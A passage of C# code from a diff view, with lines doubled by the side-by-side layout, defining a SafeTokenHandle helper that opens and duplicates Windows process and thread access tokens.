finally finally
{ {
Marshal.FreeHGlobal(pType); Marshal.FreeHGlobal(pType);
} }
} }
public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate) public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
{ {
lock (currentProcessToken) lock (currentProcessToken)
{ {
if (currentProcessToken == null) if (currentProcessToken == null)
currentProcessToken = FromProcess(Kernel32.GetCurrentProcess(), desiredAccess); currentProcessToken = FromProcess(Kernel32.GetCurrentProcess(), desiredAccess);
return currentProcessToken; return currentProcessToken;
} }
} }
public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true) public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
=> FromThread(Kernel32.GetCurrentThread(), desiredAccess, openAsSelf); => FromThread(Kernel32.GetCurrentThread(), desiredAccess, openAsSelf);
public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate) public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
{ {
SafeTokenHandle val; SafeTokenHandle val;
if (!Advapi32.OpenProcessToken(hProcess, desiredAccess, out val)) if (!Advapi32.OpenProcessToken(hProcess, desiredAccess, out val))
throw new System.ComponentModel.Win32Exception(); throw new System.ComponentModel.Win32Exception();
return val; return val;
} }
public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true) public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
{ {
SafeTokenHandle val; SafeTokenHandle val;
if (!Advapi32.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val)) if (!Advapi32.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val))
{ {
if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN) if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN)
{ {
SafeTokenHandle pval = FromCurrentProcess(); SafeTokenHandle pval = FromCurrentProcess();
if (!Advapi32.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val)) if (!Advapi32.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val))
throw new System.ComponentModel.Win32Exception(); throw new System.ComponentModel.Win32Exception();
if (!Advapi32.SetThreadToken(IntPtr.Zero, val)) if (!Advapi32.SetThreadToken(IntPtr.Zero, val))
throw new System.ComponentModel.Win32Exception(); throw new System.ComponentModel.Win32Exception();
} }
else else
throw new System.ComponentModel.Win32Exception(); throw new System.ComponentModel.Win32Exception();
} }
return val; return val;
} }
} }
} }

Some files were not shown because too many files have changed in this diff Show More